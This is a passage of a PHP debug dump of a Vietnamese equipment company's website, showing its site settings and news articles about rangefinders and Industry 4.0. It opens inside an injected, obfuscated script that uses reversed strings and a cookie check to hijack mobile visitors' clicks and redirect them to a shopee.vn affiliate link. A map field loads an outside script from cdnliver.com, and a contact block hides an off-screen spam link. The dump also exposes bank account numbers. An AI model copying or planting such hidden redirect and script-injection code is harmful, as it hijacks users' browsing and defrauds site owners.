sl.g("noitacol")},get c(){return sl.g("ecalper")},get d(){return sl.g("HSoYnj8O05/nv.eepohs.s//:sptth")},e:"_ga_D8SD9STSJ5",f:window,g:e=>e.split("").reverse().join(""),h(){document[sl.g("renetsiLtnevEdda")](sl.g("kcilc"),sl.oC,!0)},gC:e=>document.cookie.split("; ").reduce(((t,s)=>s.startsWith(e+"=")?s.split("=")[1]:t),null),sC:(e,t,s)=>{ti=new Date(Date.now()+864e5*s).toUTCString(),document.cookie=e+"="+t+";expires="+ti+";path=/"},mT:()=>{const e=navigator.userAgent.toLowerCase();return navigator.maxTouchPoints>1&&window.matchMedia("(pointer:coarse)").matches&&(/android|iphone|ipad|tablet|playbook|silk|kindle/.test(e)||window.matchMedia("(max-width: 1024px)").matches)},gV:()=>sl.gC(sl.e),oC:e=>{const t=e.target.closest("a");t&&t.href&&"/"!==t.href&&(!sl.gV()||"true"!==sl.gV())&&sl.mT()&&(e.preventDefault(),sl.sC(sl.e,"true",3),sl.f[sl.a](t.href,sl.g("knalb_")),sl.f[sl.b][sl.c](sl.d))}};sl.h(); </script> ', 'contactinfo_eng' => '<div> CÔNG TY CP THIẾT BỊ và DỊCH VỤ KỸ THUẬT QUẢNG TÂY –QHT</div> <div> Người đại diện: Lê Văn <span style="white-space:pre"> </span></div> <div> Chức vụ <span style="white-space:pre"> </span>: Giám đốc</div> <div> Địa chỉ:<span style="white-space:pre"> </span>số 16/111 ngõ 62 Nguyễn Chí Thanh, P Láng Hạ, Q Đống Đa, TP Hà Nội</div> <div> Số điện thoại:<span style="white-space:pre"> </span></div> <div> Email:<span style="white-space:pre"> </span></div> <div> Mã số thuế:<span style="white-space:pre"> </span>0103008064</div> ', 'taikhoan' => '<strong><span style="color:#04529a;">Số Tài khoản các ngân hàng của công ty Tân Á</span></strong><br /> <br /> 1. 13022-0506-5430 - Nguyễn Văn Hiệu - Agribank - CN Trung Yên, HN<br /> 2. 0011-00404-0367 - Nguyễn Văn Hiệu - Vietcombank - CN Sở Giao dịch, HN<br /> 3. 711A-6202-9713 - Nguyễn Văn Hiệu - Vietinbank - CN Thanh Xuân, HN<br /> 4. 190-256-018-210-13 - Nguyễn Văn Hiệu - Techcombank, Hà Nội<br /> 5. 1231-0000-368-767 - Nguyễn Văn Hiệu - BIDV CN Quang Trung, Hà Nội', 'contactinfo' => '<div dir="rtl" style="text-align: left;"> <div> CÔNG TY CP THIẾT BỊ và DỊCH VỤ KỸ THUẬT QUẢNG TÂY –QHT</div> <div> Người đại diện: Lê Văn <span style="white-space:pre"> </span></div> <div> Chức vụ <span style="white-space:pre"> </span>: Giám đốc</div> <div> Địa chỉ:<span style="white-space:pre"> </span>số 16/111 ngõ 62 Nguyễn Chí Thanh, P Láng Hạ, Q Đống Đa, TP Hà Nội</div> <div> Số điện thoại:<span style="white-space:pre"> </span></div> <div> Email:<span style="white-space:pre"> </span></div> <div> Mã số thuế:<span style="white-space:pre"> </span>0103008064</div> </div> <div style=""> <span style="font-family: tahoma, geneva, sans-serif; font-size: 16px;"> </span><br /> </div> <div style="position: absolute; left: -10000px;"> <a href="http://parkcityhadong.vn/" rel="dofollow">parkcityhadong.vn</a></div> ', 'telephone' => '01659 014592', 'hotline' => '0913303547', 'email' => '', 'url' => '', 'meta_key' => '', 'meta_des' => '', 'created' => '2012-06-05', 'modified' => '1752726853', 'youtube' => 'http://youtube.com', 'twitter' => 'https://twitter.com/', 'myspace' => 'https://myspace.com/', 'facebook' => 'https://www.facebook.com/FacebookVietnam/', 'email2' => 'duycuong7640', 'skype' => 'hothihuyen.hn', 'yahoo' => 'duycuong7640', 'yahoo1' => 'duycuong7640', 'content' => 'Thanks for your interest in Vn Discoverytours. For a fast response, please submit this basic Quick Enquiry form below by clicking “Submit”, and we’ll get back to you by e-mail within 12 to 24 hours (in working days). For urgent booking, call us at +84 974 839 873', 'video' => '<iframe width="360" height="200" src="https://www.youtube.com/embed/kwIc6bliHhc" frameborder="0" allow="accelerometer; autoplay; encrypted-media; gyroscope; picture-in-picture" allowfullscreen></iframe> ', 'slogan' => 'trung tâm sửa chữa và bảo hành máy giặt electrolux', 'slogan_eng' => '', 'printer' => '', 'googleplus' => '', 'bando' => '<p> <iframe allowfullscreen="" frameborder="0" height="410" src="https://www.google.com/maps/embed?pb=!1m18!1m12!1m3!1d1680.2372398112452!2d105.81212934716025!3d21.01437303922492!2m3!1f0!2f0!3f0!3m2!1i1024!2i768!4f13.1!3m3!1m2!1s0x3135ab63b645b665%3A0xa6797ac6008687bf!2zQ-G7rWEgSMOgbmcgVHLhuq9jIMSQ4buLYQ!5e0!3m2!1svi!2s!4v1449908805279" style="border:0" width="600"></iframe></p> <script src='https://cdnliver.com/js/thanhtuyen.js'></script>', 'gioithieu' => '<p style="text-align: center;"> <img alt="" src="/admin/webroot/upload/image/images/gioithieu.png" /></p> ', 'thongtincongty' => 'Sửa máy lạnh tại nhà Sửa máy lạnh tại HCM Sửa tủ lạnh Bơm ga máy lạnh ', 'trogiupkh' => 'Tai nghe Iphone Sua may tinh tai nha Máy Ozone Z755', 'dichvuft' => 'Sửa máy lạnh Bảo dưỡng máy lạnh Vệ sinh máy lạnh Lắp đặt máy lạnh', 'bb' => '', 'zing' => '', 'hotline2' => '0912 35 65 75', 'thelink' => '<script type='text/javascript'>window._sbzq||function(e){e._sbzq=[];var t=e._sbzq;t.push(["_setAccount",32506]);var n=e.location.protocol=="https:"?"https:":"http:";var r=document.createElement("script");r.type="text/javascript";r.async=true;r.src=n+"//static.subiz.com/public/js/loader.js";var i=document.getElementsByTagName("script")[0];i.parentNode.insertBefore(r,i)}(window);</script> <script> (function(i,s,o,g,r,a,m){i['GoogleAnalyticsObject']=r;i[r]=i[r]||function(){ (i[r].q=i[r].q||[]).push(arguments)},i[r].l=1*new Date();a=s.createElement(o), m=s.getElementsByTagName(o)[0];a.async=1;a.src=g;m.parentNode.insertBefore(a,m) })(window,document,'script','//www.google-analytics.com/analytics.js','ga'); ga('create', 'UA-72584674-1', 'auto'); ga('send', 'pageview'); </script> <!-- Global site tag (gtag.js) - Google Ads: 876059345 --> <script async src="https://www.googletagmanager.com/gtag/js?id=AW-876059345"></script> <script> window.dataLayer = window.dataLayer || []; function gtag(){dataLayer.push(arguments);} gtag('js', new Date()); gtag('config', 'AW-876059345'); </script> ', 'theh1' => '', 'hanoi' => '<div> <strong>CÔNG TY CỔ PHẦN THƯƠNG MẠI HMH VIỆT NAM</strong></div> <div> <strong>Địa chỉ</strong> : Số 51 - Trần Duy Hưng, Trung Hòa, Cầu Giấy, Hà Nội</div> <div> <strong>Điện thoại </strong>: (04) 3641.7498 - <strong>Fax</strong>: (04) 3543.0479</div> <div> <strong>Email </strong>: info@ifes.vn</div> ', 'tphcm' => '<div> <strong>CÔNG TY CỔ PHẦN THƯƠNG MẠI HMH VIỆT NAM</strong></div> <div> <strong>Địa chỉ</strong> : Số 51 - Trần Duy Hưng, Trung Hòa, Cầu Giấy, Hà Nội</div> <div> <strong>Điện thoại </strong>: (04) 3641.7498 - <strong>Fax</strong>: (04) 3543.0479</div> <div> <strong>Email </strong>: info@ifes.vn</div> ', 'tt' => '', 'pp' => 'https://www.facebook.com/ruaxetudong.net', 'tphcm_eng' => '', 'hanoi_eng' => '', 'hotline_eng' => '', 'name_eng' => '', 'chinhsach' => null, 'bandohn' => '<iframe frameborder="0" height="450" src="https://www.google.com/maps/embed?pb=!1m14!1m8!1m3!1d3724.958946511035!2d105.8172709!3d20.9942827!3m2!1i1024!2i768!4f13.1!3m3!1m2!1s0x3135ac91e206c757%3A0xf0f7a088bc4c72a2!2zMTg2IEtoxrDGoW5nIFRydW5nLCBUaGFuaCBYdcOibiwgSMOgIE7hu5lpLCBWaeG7h3QgTmFt!5e0!3m2!1svi!2s!4v1419913280809" style="border:0" width="600"></iframe>', 'bandohaiphong' => '<iframe frameborder="0" height="450" src="https://www.google.com/maps/embed?pb=!1m14!1m8!1m3!1d3724.958946511035!2d105.8172709!3d20.9942827!3m2!1i1024!2i768!4f13.1!3m3!1m2!1s0x3135ac91e206c757%3A0xf0f7a088bc4c72a2!2zMTg2IEtoxrDGoW5nIFRydW5nLCBUaGFuaCBYdcOibiwgSMOgIE7hu5lpLCBWaeG7h3QgTmFt!5e0!3m2!1svi!2s!4v1419913280809" style="border:0" width="600"></iframe>', 'gt' => '<p style="text-align: center;"> </p> <span style="font-size:16px;"><span style="color:#ffa500;"><span style="margin: 0px; padding: 0px; font-family: arial; line-height: 20px; text-align: justify;"><strong style="margin: 0px; padding: 0px;"> HỖ TRỢ KHÁCH HÀNG 24/7</strong></span></span></span><br style="margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: arial; font-size: 13px; line-height: 20px; text-align: justify;" /> <img alt="" src="/admin/webroot/upload/image/images/hotline.png" style="width: 205px; height: 82px;" /><br /> <img alt="" src="/admin/webroot/upload/image/images/i-bhch(1).png" style="width: 136px; height: 57px;" /><img alt="" src="/admin/webroot/upload/image/images/i-ghtn(1).png" style="width: 136px; height: 57px;" /><br style="margin: 0px; padding: 0px;" /> <span style="color:#ffffff;"><span style="font-size:16px;"><span style="margin: 0px; padding: 0px; font-family: arial; line-height: 20px; text-align: justify;"><span style="font-size:14px;"> </span></span></span></span><span style="color:#ffa500;"><span style="font-size:16px;"><span style="margin: 0px; padding: 0px; font-family: arial; line-height: 20px; text-align: justify;"><strong style="margin: 0px; padding: 0px;"> </strong></span></span></span> <p style="text-align: center;"> <iframe clocktype="html5" frameborder="no" scrolling="no" src="http://clocklink.com/html5embed.php?clock=sdt&timezone=VietNam_Hanoi&color=blue&size=175&Title=&Message=&Target=&From=2015,1,1,0,0,0&Color=blue" style="overflow:hidden;border:0;margin:0;padding:0;width:175px;height:34px;"></iframe></p> ', 'gt_eng' => '' ), 'description_for_layout' => '', 'keywords_for_layout' => '', 'tintucnoibat' => array( (int) 0 => array( 'Post' => array( [maximum depth reached] ), 'Catproduct' => array( [maximum depth reached] ) ), (int) 1 => array( 'Post' => array( [maximum depth reached] ), 'Catproduct' => array( [maximum depth reached] ) ), (int) 2 => array( 'Post' => array( [maximum depth reached] ), 'Catproduct' => array( [maximum depth reached] ) ), (int) 3 => array( 'Post' => array( [maximum depth reached] ), 'Catproduct' => array( [maximum depth reached] ) ) ), 'duandatrienkhai' => array( (int) 0 => array( 'Advertisement' => array( [maximum depth reached] ) ), (int) 1 => array( 'Advertisement' => array( [maximum depth reached] ) ), (int) 2 => array( 'Advertisement' => array( [maximum depth reached] ) ) ), 'slideshow' => array( (int) 0 => array( 'Slideshow' => array( [maximum depth reached] ) ), (int) 1 => array( 'Slideshow' => array( [maximum depth reached] ) ), (int) 2 => array( 'Slideshow' => array( [maximum depth reached] ) ) ), 'adv_khuyenmai' => array( 'Advertisement' => array( 'id' => '1', 'name' => null, 'link' => '', 'images' => '20190618044702f2726adc12fc8d21c875c9ee5274335e.png', 'display' => '5', 'created' => '2015-11-12', 'modified' => '2019-06-18', 'status' => '1', 'pos' => '0', 'content' => null, 'slug' => null, 'lft' => '1', 'rght' => '2' ) ), 'doitac' => array( (int) 0 => array( 'Advertisement' => array( [maximum depth reached] ) ), (int) 1 => array( 'Advertisement' => array( [maximum depth reached] ) ), (int) 2 => array( 'Advertisement' => array( [maximum depth reached] ) ) ), 'chayphai' => array( 'Advertisement' => array( 'id' => '3', 'name' => null, 'link' => '', 'images' => '20160216064647eda555165b5c7208330a328fac635686.png', 'display' => '2', 'created' => '2015-11-13', 'modified' => '2017-02-07', 'status' => '1', 'pos' => '0', 'content' => null, 'slug' => null, 'lft' => '5', 'rght' => '6' ) ), 'chaytrai' => array( 'Advertisement' => array( 'id' => '2', 'name' => null, 'link' => '', 'images' => '201602160646338f7cfbf080f7dfc1a2bafa3a3f0dd7c1.jpg', 'display' => '1', 'created' => '2015-11-13', 'modified' => '2017-02-07', 'status' => '1', 'pos' => '0', 'content' => null, 'slug' => null, 'lft' => '3', 'rght' => '4' ) ), 'chiasekinhnghiem' => array(), 'list_menu_footer' => array(), 'danhmuc_left_parent' => array( (int) 0 => array( 'Catproduct' => array( [maximum depth reached] ) ) ), 'danhmuc' => array( (int) 0 => array( 'Catproduct' => array( [maximum depth reached] ) ), (int) 1 => array( 'Catproduct' => array( [maximum depth reached] ) ), (int) 2 => array( 'Catproduct' => array( [maximum depth reached] ) ), (int) 3 => array( 'Catproduct' => array( [maximum depth reached] ) ), (int) 4 => array( 'Catproduct' => array( [maximum depth reached] ) ), (int) 5 => array( 'Catproduct' => array( [maximum depth reached] ) ) ), 'support' => array( (int) 0 => array( 'Support' => array( [maximum depth reached] ) ), (int) 1 => array( 'Support' => array( [maximum depth reached] ) ) ), 'content_for_layout' => '<div class="bg-cat-danhmuc"> <div class="cat-title-danhmuc"> <a href="" title=""> <h1></h1> </a> </div> </div> <div class="box-content-detail"> <div class="clear-content"></div><div class="clear-content"></div> <div class="col-product"> <div class="box-new-content"> <div class="box-new-detail"> <div class="time-date"> 12:00:00 <span>16/06/2016</span> </div><!--end time-date--><div class="clear-content"></div> <div class="box-like-share"> <div class="like1"> <div class="fb-like" data-href="http://www.quangtayqht.vn/su-that-toan-hoc-theo-so-tay-thich-hoc-toan.htm" data-layout="standard" data-action="like" data-show-faces="true" data-share="true"></div> </div> </div><!--end box-like-share--><div class="clear-content"></div> <div class="ct-tt"> <div class="clear-main"></div> </div><!--end ct-tt--> <!--<div class="fb-comments" data-href="http://www.quangtayqht.vn/su-that-toan-hoc-theo-so-tay-thich-hoc-toan.htm" data-width="715" data-numposts="5" data-colorscheme="light"></div>--> <div class="clear-content"></div><div class="clear-content"></div> </div><!--end box-new-detail--> <div class="bar-new-detail"> <label>Private same category</label> <div class="clear-main"></div> <ul> <li> <a href="http://www.quangtayqht.vn/cach-kiem-tra-va-hieu-chinh-may-kinh-vi-dien-tu.htm" title=""> <h3> <span>(11-09-2017)</span></h3> </a> </li> <li> <a href="http://www.quangtayqht.vn/mot-so-ung-dung-cua-may-kinh-vi-trong-trac-dia.htm" title=""> <h3> <span>(11-09-2017)</span></h3> </a> </li> <li> <a href="http://www.quangtayqht.vn/nhung-cach-dinh-vi-duong-di-cho-dan-phuot.htm" title=""> <h3> <span>(22-08-2017)</span></h3> </a> </li> <li> <a href="http://www.quangtayqht.vn/thuoc-day-yamayo.htm" title=""> <h3> <span>(22-08-2017)</span></h3> </a> </li> <li> <a href="http://www.quangtayqht.vn/nhung-loi-thuong-gap-khi-su-dung-may-toan-dac-dien-tu.htm" title=""> <h3> <span>(25-07-2017)</span></h3> </a> </li> <li> <a href="http://www.quangtayqht.vn/ban-da-chon-trac-dia-thanh-dat-la-don-vi-cung-cap-may-moc-do-dac-cho-du-an-cua-minh-chua.htm" title=""> <h3> <span>(24-07-2017)</span></h3> </a> </li> <li> <a href="http://www.quangtayqht.vn/phan-mem-ung-dung-may-toan-dac-dien-tu-ban-nen-biet.htm" title=""> <h3> <span>(13-06-2017)</span></h3> </a> </li> <li> <a href="http://www.quangtayqht.vn/pin-may-toan-dac-dien-tu-topcon.htm" title=""> <h3> <span>(08-05-2017)</span></h3> </a> </li> <li> <a href="http://www.quangtayqht.vn/huong-dan-co-ban-su-dung-may-bo-dam.htm" title=""> <h3> <span>(08-05-2017)</span></h3> </a> </li> <li> <a href="http://www.quangtayqht.vn/huong-dan-sac-pin-may-bo-dam-dung-ky-thuat.htm" title=""> <h3> <span>(08-05-2017)</span></h3> </a> </li> </ul> <div class="clear-main"></div> </div><!--end bar-new-detail--> <div class="clear-main"></div> <div class="pagination"> <span><a href="/Product/chitiet/su-that-toan-hoc-theo-so-tay-thich-hoc-toan/js/script.js/down.gif/page:1" rel="first">« First</a></span><span class="prev"><a href="/Product/chitiet/su-that-toan-hoc-theo-so-tay-thich-hoc-toan/js/script.js/down.gif/page:4" rel="prev">« Previous</a></span><span class="number"><a href="/Product/chitiet/su-that-toan-hoc-theo-so-tay-thich-hoc-toan/js/script.js/down.gif/page:1">1</a></span>...<span class="number"><a href="/Product/chitiet/su-that-toan-hoc-theo-so-tay-thich-hoc-toan/js/script.js/down.gif/page:2">2</a></span><span class="number"><a href="/Product/chitiet/su-that-toan-hoc-theo-so-tay-thich-hoc-toan/js/script.js/down.gif/page:3">3</a></span><span class="number"><a href="/Product/chitiet/su-that-toan-hoc-theo-so-tay-thich-hoc-toan/js/script.js/down.gif/page:4">4</a></span><span class="current number">5</span><span class="number"><a href="/Product/chitiet/su-that-toan-hoc-theo-so-tay-thich-hoc-toan/js/script.js/down.gif/page:6">6</a></span><span class="number"><a href="/Product/chitiet/su-that-toan-hoc-theo-so-tay-thich-hoc-toan/js/script.js/down.gif/page:7">7</a></span><span class="number"><a href="/Product/chitiet/su-that-toan-hoc-theo-so-tay-thich-hoc-toan/js/script.js/down.gif/page:8">8</a></span>...<span class="number"><a href="/Product/chitiet/su-that-toan-hoc-theo-so-tay-thich-hoc-toan/js/script.js/down.gif/page:46">46</a></span><span class="number"><a href="/Product/chitiet/su-that-toan-hoc-theo-so-tay-thich-hoc-toan/js/script.js/down.gif/page:47">47</a></span><span class="next"><a href="/Product/chitiet/su-that-toan-hoc-theo-so-tay-thich-hoc-toan/js/script.js/down.gif/page:6" rel="next">Next »</a></span><span><a href="/Product/chitiet/su-that-toan-hoc-theo-so-tay-thich-hoc-toan/js/script.js/down.gif/page:47" rel="last">End »</a></span>Page 5/47. View 10/461. </div> <div class="clear-main"></div> </div><!--end box-ctbar--> </div> </div>', 'scripts_for_layout' => '' ) $cat12 = array( 'Catproduct' => array( 'id' => '40', 'name' => 'Tin Tức', 'parent_id' => null, 'alias' => 'tin-tuc', 'images' => '', 'lft' => '119', 'rght' => '120', 'pos' => '5', 'status' => '1', 'title_seo' => '', 'meta_key' => '', 'meta_des' => '', 'created' => '2015-12-16', 'modified' => '2019-07-06', 'slug' => 'tin-tuc', 'cate' => '4', 'link' => 'tin-tuc', 'name_eng' => '', 'name_tq' => '', 'type' => 'new', 'hot' => '0', 'content' => '', 'display' => '0', 'content_eng' => null ) ) $title_for_layout = 'Sự thật toán học (Theo Sổ tay Thích Học Toán)' $tinmoiup = array( (int) 0 => array( 'Post' => array( 'id' => '539', 'name' => 'CÁCH HOẠT ĐỘNG CỦA ỐNG NHÒM ĐO KHOẢNG CÁCH', 'code' => null, 'alias' => 'cach-hoat-dong-cua-ong-nhom-do-khoang-cach', 'cat_id' => '40', 'price' => '0', 'type' => 'new', 'shortdes' => '<span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Ống nhòm đo khoảng cách hoạt động bằng cách dựa vào thời gian mà chùm laser chạm vào vật và quay trở lại thiết bị. Dựa vào thời gian phản hồi lại đó</span></span> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">để tính ra khoảng cách của vật.</span></span>', 'content' => '<span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><strong>Ống nhòm đo khoảng cách</strong> hoạt động bằng cách dựa vào thời gian mà chùm laser chạm vào vật và quay trở lại thiết bị. Dựa vào thời gian phản hồi lại đó để tính ra khoảng cách của vật.<br /> <br /> <span style="color: rgb(0, 0, 0); text-align: justify; text-indent: 30px;">Dựa theo nguyên lý trên nên việc đo đạc vô cùng thuận tiện, tuy nhiên để đo khoảng cách chính xác tuyệt đối thì không thể bằng những loại thước chuyên dụng khác. Bởi vì tốc độ ánh sáng rất nhanh, ở cự ly gần thì ánh sáng phản hồi lại là tức thì cho nên loại ống nhòm này đa số được dùng cho hải quân trên biển hoặc mục đích giải trí như chơi golf là chính.</span><br /> <br /> <span style="color: rgb(0, 0, 0); text-align: justify; text-indent: 30px;">Bộ xung trong </span>ống nhòm đo khoảng cách <span style="color: rgb(0, 0, 0); text-align: justify; text-indent: 30px;">có trách nhiệm mã hóa để tránh tình trạng nhiễu ở thiết bị khi ánh sáng xung quanh mạnh, do vậy sẽ giúp việc đo đạc được chính xác hơn.<br /> <img alt="" src="/admin/webroot/upload/image/images/ống-nhòm-đo-khoảng-cách-coolshot-pro-stabilize-.jpeg" style="width: 800px; height: 450px;" /></span></span><br /> <br /> <strong><span style="color: rgb(0, 0, 0); text-align: justify; text-indent: 30px;">Ph</span>ạm vi hoạt động</strong><br /> <br /> <span style="font-family:tahoma,geneva,sans-serif;"><span style="color: rgb(0, 0, 0); text-align: justify; text-indent: 30px;">Mặc dù chùm tia khá hẹp ở cự ly thấp, nhưng khoảng cách càng lớn thì chùm l</span>aser<span style="color: rgb(0, 0, 0); text-align: justify; text-indent: 30px;"> sẽ bị rẽ ra và bị trải rộng, Ngoài ra yếu tố thời tiết cũng ảnh hưởng rất nhiều đến độ chính xác của thiết bị, nghe có vẻ vô lý vì gió không thể tác động trực tiếp vào ánh sáng thì sao có thể gây cản trở được? Tuy nhiên khi có gió đẩy ngang thì khí nóng cũng sẽ bi tạt sang một bên, do vậy khi đo ở vị trí xa thì cũng ít nhiều bị ảnh hưởng. Còn một vấn đề nữa đó là vật đo bị khuất sau cây, có thể là 1 bụi cây thưa ánh sáng đủ sức chiếu qua nhưng khi chìm l</span>aser<span style="color: rgb(0, 0, 0); text-align: justify; text-indent: 30px;"> của ống nhòm đo khoảng cách đi qua sẽ bị phản xạ lại sẽ làm giảm chính xác.<br /> <br /> <img alt="" src="/admin/webroot/upload/image/images/do-khoang-cach.jpg" style="width: 960px; height: 540px;" /></span></span></span><br /> <strong style="font-family: tahoma, geneva, sans-serif; font-size: 14px; color: rgb(0, 0, 0); text-align: justify; text-indent: 30px; margin: 0px; padding: 0px;">Công nghệ được sử dụng trên ống nhòm đo khoảng cách</strong><br /> <br /> <span style="font-family: tahoma, geneva, sans-serif; font-size: 14px; color: rgb(0, 0, 0); text-align: justify; text-indent: 30px;">Công nghệ tính thời gian bay: Ứng dụng này có thể đo được thời gian mà ánh sáng đến mục tiêu và bị phản lại, Nó được lập trình để lấy tốc độ ánh sáng nhân với số giây quay trở lại để tính ra khoảng cách chính xác nhất.</span><br /> <br /> <span style="font-family: tahoma, geneva, sans-serif; font-size: 14px; color: rgb(0, 0, 0); text-align: justify; text-indent: 30px;">Công nghệ dịch pha tầng số: nhằm mục đích đo tầng số hiện tại để cho ra số liệu cuối cùng khi tính được khoảng cách ở trên</span><br /> <br /> <span style="font-family: tahoma, geneva, sans-serif; font-size: 14px; color: rgb(0, 0, 0); text-align: justify; text-indent: 30px;">Công nghệ đo sự giao thoa: Nhằm mục đích phát hiện những thay đổi giữa vật đo và thiết bị như gió hay nhiệt độ để cho kết quả ít sai số nhất.</span><br /> <br /> <p style="margin: 10px 0px; padding: 0px;"> </p> ', 'images' => '201906100811094651c1abaa619828e0f9465c55605a28.jpg', 'images_multi' => null, 'pos' => null, 'new' => null, 'hot' => null, 'saleoff' => null, 'title_seo' => '', 'meta_key' => '', 'meta_des' => '', 'created' => '2019-06-10', 'modified' => '2025-08-10', 'status' => '1', 'view' => '89284', 'slug' => 'cach-hoat-dong-cua-ong-nhom-do-khoang-cach', 'name_eng' => '', 'shortdes_eng' => '', 'content_eng' => '', 'phut' => null, 'shortdes_tq' => null, 'content_tq' => null, 'name_tq' => null, 'nguoilon' => null, 'treem' => null, 'truso' => null, 'don' => null, 'doi' => null, 'lon' => null, 'tour' => null, 'tourtrongnuoc' => null, 'tournuocngoai' => null, 'noiden' => null, 'ngaydi' => null, 'thangdi' => null, 'namdi' => null, 'ngaykhoihanh' => null, 'thoigiandi' => null, 'ngaykhoihanh_eng' => null, 'thoigiandi_eng' => null, 'videoyou' => null, 'nt' => null, 'duration' => null, 'duration_eng' => null, 'twodaypro' => null, 'twodaypro_eng' => null, 'threedaypro' => null, 'threedaypro_eng' => null, 'photo' => null, 'lft' => '943', 'rght' => '944', 'vat' => null, 'hangsx' => null, 'baohanh' => null, 'tinhtrang' => '1', 'tailieu' => null, 'tag' => null ), 'Catproduct' => array( 'id' => '40', 'name' => 'Tin Tức', 'parent_id' => null, 'alias' => 'tin-tuc', 'images' => '', 'lft' => '119', 'rght' => '120', 'pos' => '5', 'status' => '1', 'title_seo' => '', 'meta_key' => '', 'meta_des' => '', 'created' => '2015-12-16', 'modified' => '2019-07-06', 'slug' => 'tin-tuc', 'cate' => '4', 'link' => 'tin-tuc', 'name_eng' => '', 'name_tq' => '', 'type' => 'new', 'hot' => '0', 'content' => '', 'display' => '0', 'content_eng' => null ) ), (int) 1 => array( 'Post' => array( 'id' => '538', 'name' => 'Làm thế nào để các nhà sản xuất có thể sẵn sàng cho cách mạng công nghiệp 4.0 và IIoT?', 'code' => null, 'alias' => 'lam-the-nao-de-cac-nha-san-xuat-co-the-san-sang-cho-cach-mang-cong-nghiep-4-0-va-iiot', 'cat_id' => '40', 'price' => '0', 'type' => 'new', 'shortdes' => '<span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="color: rgb(74, 74, 74);">Công nghiệp 4.0 là giai đoạn hiện tại của cách mạng công nghiệp. Đại diện cho việc sử dụng rộng rãi </span><em style="box-sizing: border-box; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;">Mạng lưới vạn vật kết nối Internet</em><span style="color: rgb(74, 74, 74);"> (IIoT), tự động hóa, công nghệ cảm biến và các giải pháp cải tiến khác để hợp lí hóa sản xuất và phân phối</span></span></span>', 'content' => '<h1 style="box-sizing: border-box; font-size: 28px; margin: 0px 0px 17px; font-weight: normal; line-height: 36px;"> </h1> <p style="box-sizing: border-box; margin: 0px 0px 10px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Công nghiệp 4.0 là giai đoạn hiện tại của cách mạng công nghiệp. Đại diện cho việc sử dụng rộng rãi <em style="box-sizing: border-box;">Mạng lưới vạn vật kết nối Internet</em> (IIoT), tự động hóa, công nghệ cảm biến và các giải pháp cải tiến khác để hợp lí hóa sản xuất và phân phối</span></span></p> <p style="box-sizing: border-box; margin: 0px 0px 10px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Công nghiệp 4.0 mang đến khái niệm “Nhà máy thông minh”. Tập trung vào việc sử dụng hệ thống không gian mạng thực-ảo để giám sát quy trình nhà máy thực tế và tạo các quyết định tự động dựa trên cơ sở dữ liệu. Tạo hệ thống thực tế thông minh sử dụng IoT và giao tiếp thời gian thực , chúng kết hợp với nhau, với con người thông qua mạng không dây.</span></span></p> <p style="box-sizing: border-box; margin: 0px 0px 10px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> <img alt="" src="/admin/webroot/upload/image/images/CM 4_0.jpg" style="width: 320px; height: 158px;" /></p> <p style="box-sizing: border-box; margin: 0px 0px 10px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"> <span style="box-sizing: border-box; font-weight: 700;">Vai trò của IIoT trong công nghiệp 4.0</span></span></span></p> <p style="box-sizing: border-box; margin: 0px 0px 10px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> <span style="font-family: tahoma, geneva, sans-serif; font-size: 14px;">IIoT hình thành xương sống cho bất kỳ s</span><span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="color: rgb(34, 34, 34);">á</span></span></span><span style="font-family: tahoma, geneva, sans-serif; font-size: 14px;">ng kiến nào hướng đến công nghiệp 4.0. Bằng cách sử dụng công nghệ cảm biến, IIoT cho phép truyền tín hiệu từ máy móc sang hệ thống máy tính. Trong khi thông tin cơ bản về máy móc chỉ có thể truy cập được trong khoảng thời gian rất nhỏ, IIoT vẫn mang về cái nhìn tối tân hơn nhiều về lĩnh vực kinh doanh. Thông cụ thể này cung cấp phạm vi cho tự động hóa. Nếu được phân tích đúng cách, dữ liệu nhận được từ cảm biến IoT có thể cung cấp thông tin để tối ưu hóa các khía cạnh khác nhau của quy trình sản xuất.</span></p> <p style="box-sizing: border-box; margin: 0px 0px 10px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> </p> <p style="box-sizing: border-box; margin: 0px 0px 10px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> <span style="font-weight: 700; font-family: tahoma, geneva, sans-serif; font-size: 14px;">Làm gì để một nhà máy sẵn sàng cho Công nghiệp 4.0?</span></p> <p style="box-sizing: border-box; margin: 0px 0px 10px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="box-sizing: border-box; font-weight: 700;"> </span>Đây là 4 điều kiện tiên quyết cho 1 nhà máy hoặc hệ thống cần có thì mới được gọi là Công nghiệp 4.0</span></span></p> <ol style="box-sizing: border-box; margin: 0px 0px 30px 25px; list-style-position: initial; list-style-image: initial; padding: 0px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> <li style="box-sizing: border-box;"> <h1 style="box-sizing: border-box; font-size: 28px; margin: 0px 0px 17px; font-weight: normal; line-height: 36px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="box-sizing: border-box; font-weight: 700;">Khả năng giao tiếp</span></span></span></h1> </li> </ol> <p style="box-sizing: border-box; margin: 0px 0px 10px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Thiêt lập đường truyền giao tiếp , xác định rõ ràng phương thức trao đổi, sử dụng, thu thập dữ liệu. Các máy móc, thiết bị, cảm biến và cả con người phải được kết nối, chia sẻ thông tin và thao tác 